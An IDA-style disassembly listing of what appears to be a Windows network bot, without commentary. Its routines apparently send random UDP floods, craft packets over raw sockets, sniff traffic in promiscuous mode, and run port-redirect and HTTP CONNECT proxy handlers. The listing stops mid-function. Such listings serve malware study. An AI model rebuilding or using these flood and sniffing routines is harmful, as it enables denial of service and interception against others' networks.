var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_436840
		push	esi
		push	11h
		push	2
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427821
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_42781A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_42781A:				; CODE XREF: sub_4277C0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_427821:				; CODE XREF: sub_4277C0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_50FABC
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_42785D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42785D:				; CODE XREF: sub_4277C0+77j
		push	esi
		call	near ptr 71AB2B66h
		nop
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_42787B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42787B:				; CODE XREF: sub_4277C0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_42788E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_42788E:				; CODE XREF: sub_4277C0+9Bj
					; sub_4277C0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_4278A4
		mov	[esp+28h+arg_FFE4], 1


loc_4278A4:				; CODE XREF: sub_4277C0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_4278DE


loc_4278CB:				; CODE XREF: sub_4277C0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_4278CB


loc_4278DE:				; CODE XREF: sub_4277C0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_427970
		mov	ebp, dword_50FC5C


loc_4278F6:				; CODE XREF: sub_4277C0+1AEj
		mov	al, byte_4D64F9
		test	al, al
		jz	short loc_427970
		mov	esi, 0Bh


loc_427904:				; CODE XREF: sub_4277C0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		call	near ptr 2811D0Bh
		nop
		dec	esi
		jnz	short loc_427904
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_42795B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+48h+var_36], ax


loc_42795B:				; CODE XREF: sub_4277C0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_4278F6


loc_427970:				; CODE XREF: sub_4277C0+12Aj
					; sub_4277C0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_4277C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4279F0	proc near		; CODE XREF: sub_40207Cj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A28
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_427A4D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A4D:				; CODE XREF: sub_4279F0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427A6D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A6D:				; CODE XREF: sub_4279F0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		call	near ptr 71AB2C69h
		nop
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_4279F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427AD0	proc near		; CODE XREF: sub_401D9Dj

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40187F
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_446F70
		mov	eax, edi


loc_427B37:				; CODE XREF: sub_427AD0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_427B5B
		test	cl, cl
		jz	short loc_427B57
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_427B5B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_427B37


loc_427B57:				; CODE XREF: sub_427AD0+71j
		xor	eax, eax
		jmp	short loc_427B60
; ---------------------------------------------------------------------------


loc_427B5B:				; CODE XREF: sub_427AD0+6Dj
					; sub_427AD0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_427B60:				; CODE XREF: sub_427AD0+89j
		cmp	eax, ebx
		jnz	short loc_427BB3
		mov	ebp, dword_4D6107
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_427B77
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BBE


loc_427B77:				; CODE XREF: sub_427AD0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		call	near ptr 71AB50C8h
		nop
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		call	near ptr 71AB4FD4h
		nop
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_427BBE
; ---------------------------------------------------------------------------


loc_427BB3:				; CODE XREF: sub_427AD0+92j
		push	edi
		call	sub_40187F
		add	esp, 4
		mov	ebp, eax


loc_427BBE:				; CODE XREF: sub_427AD0+A5j
					; sub_427AD0+E1j
		cmp	ebp, ebx
		jz	short loc_427BC7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BCD


loc_427BC7:				; CODE XREF: sub_427AD0+F0j
		mov	ebp, dword_4D6107


loc_427BCD:				; CODE XREF: sub_427AD0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_427D0D
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_427CF3
		mov	ebx, dword_50FC90


loc_427C63:				; CODE XREF: sub_427AD0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_427CE3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_427CBE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_427CDB
; ---------------------------------------------------------------------------


loc_427CBE:				; CODE XREF: sub_427AD0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_427CE3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_427CDB:				; CODE XREF: sub_427AD0+1ECj
		call	sub_40207C
		add	esp, 8


loc_427CE3:				; CODE XREF: sub_427AD0+1C0j
					; sub_427AD0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_427C63


loc_427CF3:				; CODE XREF: sub_427AD0+187j
		mov	edx, dword_50FA84
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h


loc_427D0D:				; CODE XREF: sub_427AD0+11Dj
					; sub_427AD0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_427AD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427DC0	proc near		; CODE XREF: sub_401889j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427DC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_444F40
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E12C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427E30	proc near		; CODE XREF: sub_401F82j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427E30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427EF0	proc near		; CODE XREF: sub_40179Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427EF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427EF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427FC0:				; CODE XREF: ___:00401A14j
					; ___:loc_402068j
		push	esi
		mov	esi, ecx
		call	sub_40179E
		test	byte ptr [esp+8], 1
		jz	short loc_427FD8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427FD8:				; CODE XREF: ___:00427FCDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FF0	proc near		; CODE XREF: ___:00401096j sub_401C2Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015F5
		test	[esp+4+arg_0], 1
		jz	short loc_428008
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428008:				; CODE XREF: sub_427FF0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427FF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428020	proc near		; CODE XREF: sub_4015F5j
		jmp	sub_40179E
sub_428020	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428040	proc near		; CODE XREF: sub_4015AFj
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_401D9D
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_428040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428160	proc near		; CODE XREF: sub_401884j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401F82
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_401424
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43E14C
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015D7
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_428160	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428220	proc near		; CODE XREF: ___:00401E15j sub_4021B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BD1
		test	[esp+4+arg_0], 1
		jz	short loc_428238
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428238:				; CODE XREF: sub_428220+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428220	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428250	proc near		; CODE XREF: sub_401BD1j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_50FC88
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43E14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42826E
		push	eax
		call	edi	; closesocket


loc_42826E:				; CODE XREF: sub_428250+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42827C
		push	eax
		call	edi	; closesocket


loc_42827C:				; CODE XREF: sub_428250+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_40179E
		pop	edi
		pop	esi
		retn
sub_428250	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4282C0	proc near		; CODE XREF: sub_401D2Aj

var_B0		= byte ptr -0B0h
var_AA		= byte ptr -0AAh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_5C		= byte ptr -5Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_3C		= byte ptr -3Ch
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_C		= byte ptr -0Ch
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_C		= byte ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_24		= byte ptr  28h
arg_28		= byte ptr  2Ch
arg_34		= byte ptr  38h
arg_3C		= byte ptr  40h
arg_40		= byte ptr  44h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_4A		= word ptr  4Eh
arg_4C		= dword	ptr  50h
arg_50		= dword	ptr  54h
arg_54		= dword	ptr  58h
arg_58		= dword	ptr  5Ch
arg_64		= byte ptr  68h
arg_68		= byte ptr  6Ch
arg_6C		= byte ptr  70h
arg_91		= byte ptr  95h
arg_98		= byte ptr  9Ch
arg_9D		= byte ptr  0A1h
arg_AD		= byte ptr  0B1h
arg_D0		= dword	ptr  0D4h
arg_D4		= byte ptr  0D8h
arg_E0		= dword	ptr  0E4h
arg_E4		= byte ptr  0E8h
arg_EC		= dword	ptr  0F0h
arg_F0		= byte ptr  0F4h
arg_FC		= byte ptr  100h
arg_108		= byte ptr  10Ch
arg_12C		= byte ptr  130h
arg_150		= byte ptr  154h
arg_15C		= byte ptr  160h
arg_180		= byte ptr  184h
arg_18C		= byte ptr  190h
arg_1A4		= byte ptr  1A8h
arg_1B0		= byte ptr  1B4h
arg_1F8		= byte ptr  1FCh
arg_210		= byte ptr  214h
arg_228		= byte ptr  22Ch
arg_230		= byte ptr  234h
arg_240		= byte ptr  244h
arg_244		= dword	ptr  248h
arg_248		= dword	ptr  24Ch
arg_24C		= dword	ptr  250h
arg_258		= byte ptr  25Ch
arg_374		= byte ptr  378h
arg_3EC		= byte ptr  3F0h
arg_3FC		= byte ptr  400h
arg_40C		= byte ptr  410h
arg_41C		= byte ptr  420h
arg_42C		= byte ptr  430h
arg_43C		= byte ptr  440h
arg_44C		= byte ptr  450h
arg_45C		= byte ptr  460h
arg_478		= byte ptr  47Ch
arg_4478	= byte ptr  447Ch
arg_53D0	= dword	ptr  53D4h
arg_53E0	= dword	ptr  53E4h
arg_5434	= byte ptr  5438h
arg_5444	= byte ptr  5448h
arg_544C	= dword	ptr  5450h
arg_5454	= dword	ptr  5458h
arg_5480	= dword	ptr  5484h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BA92
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	[esp+1Ch+var_A], 0


loc_4282F8:				; CODE XREF: sub_4282C0+FC6j
		lea	ecx, [esp+1Ch+arg_98]
		call	sub_401B36
		lea	ecx, [esp+1Ch+var_8]
		mov	[esp+1Ch+arg_5480], 0
		mov	[esp+1Ch+var_9], 0
		call	sub_401424
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_374]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+2Ch+arg_5480], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429310
		lea	edx, [esp+1Ch+arg_374]
		lea	ecx, [esp+1Ch+arg_10]
		push	edx
		call	sub_401861
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_10]
		mov	byte ptr [esp+20h+arg_5480], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4283B0
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_429280
; ---------------------------------------------------------------------------


loc_4283B0:				; CODE XREF: sub_4282C0+B4j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_210]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset off_445258
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 3
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_210]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428475
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_1F8]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		mov	[esp+28h+var_9], 1
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_98]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+20h+arg_5480], 4
		call	sub_4017E4
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+1Ch+arg_1F8]
		test	al, al
		setz	bl
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset aHttp	; "http"
		lea	ecx, [esp+20h+arg_98]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4292FF
		jmp	loc_42866A
; ---------------------------------------------------------------------------


loc_428475:				; CODE XREF: sub_4282C0+137j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_228]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 5
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_228]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42866A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+20h+arg_98]
		mov	[esp+20h+var_9], 0
		call	sub_4015D7
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_F0]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_108]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+20h+arg_150]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 6
		call	sub_4016AE
		push	eax
		lea	ecx, [esp+20h+arg_AD]
		mov	byte ptr [esp+20h+arg_5480], 7
		call	sub_401FBE
		lea	ecx, [esp+1Ch+arg_150]
		mov	byte ptr [esp+1Ch+arg_5480], 6
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_108]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
